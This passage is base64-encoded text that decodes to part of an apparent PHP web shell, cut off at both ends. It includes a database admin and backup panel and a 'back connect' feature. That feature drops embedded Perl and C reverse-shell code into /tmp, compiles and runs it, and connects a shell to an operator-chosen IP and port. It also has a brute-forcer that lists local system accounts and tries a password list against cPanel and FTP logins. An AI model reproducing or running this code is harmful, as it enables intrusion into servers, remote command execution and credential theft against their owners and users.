QkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7CgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsKCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgewoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7CgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOwoJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7CgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCQlwKCRkYmZvcm0pOwoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsKCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0RhdGFfbGVuZ3RoJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsKCQkJCQl9CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOwoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZvcm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0KCXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBzcWwgYmFja3VwCgoKZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAncGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsKCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgYmFja2Nvbm5lY3Qgd2luZG93IHZpYSBOQwoKLy8gQnJ1dGUKZWxzZWlmICgkYWN0aW9uID09ICdicnV0ZScpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdicnV0ZScpOwoJbWFrZWhpZGUoJ2RpcicsJGJydXRlKTsKQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOwokY29ubmVjdF90aW1lb3V0PTU7CkBzZXRfdGltZV9saW1pdCgwKTsKJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107CiR1c2VycyA9ICRfUkVRVUVTVFsndXNlcnMnXTsKJHBhc3MgPSAkX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsKJG9wdGlvbiA9ICRfUkVRVUVTVFsnb3B0aW9uJ107CgoKJHBhc3NsaXN0ID0gIjAxMjM0NTYKMDEyMzQ1NjcKMDEyMzQ1Njc4CjAxMjM0NTY3ODkKMDEyMzQ1Njc4OTAKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwo0NTY0NTYKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4KYWRtaW5pc3RyYXRvcgphZG1pbmNwCmNwYW5lbAphZG1pbngKYWRtaW5zCnBhc3N3b3JkCnBhc3N3b3JkcwpwYXNzdzByZApwQHNzdzByZApwQHNzd29yZApraG9uZ2NvCjI1MjUxMzI1CnBhc3N3MHJkcyI7CmlmKCR0YXJnZXQgPT0gJycpewokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7Cn0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNDAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPjx0cj48dGQ+CjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtd2VpZ2h0OmJvbGQ7Jz48L3A+PC9mb250PjwvYj48L3A+CjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPgo8dHI+Cjx0ZCBhbGlnbj0nY2VudGVyJz4KPGI+VXNlcm5hbWU8L2I+PC90ZD4KPHRkPgo8cCBhbGlnbj0nY2VudGVyJz4KPGI+UGFzc3dvcmQ8L2I+PC90ZD4KPC90cj4KPC90YWJsZT4KPHAgYWxpZ249J2NlbnRlcic+Cjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+IjsKJGkgPSAwOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQplY2hvICIKPC90ZXh0YXJlYT4KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+JHBhc3NsaXN0PC90ZXh0YXJlYT48YnI+Cjxicj4KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwKPGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+IGZ0cCA9PT4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0F0dGFjaycgbmFtZT0nc3VibWl0JyA+PC9wPgo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsKPz4KPD9waHAKZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRkYXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgewoKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CgplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewoKcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPgo8Yj4gQXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7Cn0KY3VybF9jbG9zZSgkY2gpO30KCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7CgpwKCI8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyA8L2I+PGI+QXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhPC9hPiBVc2VybmFt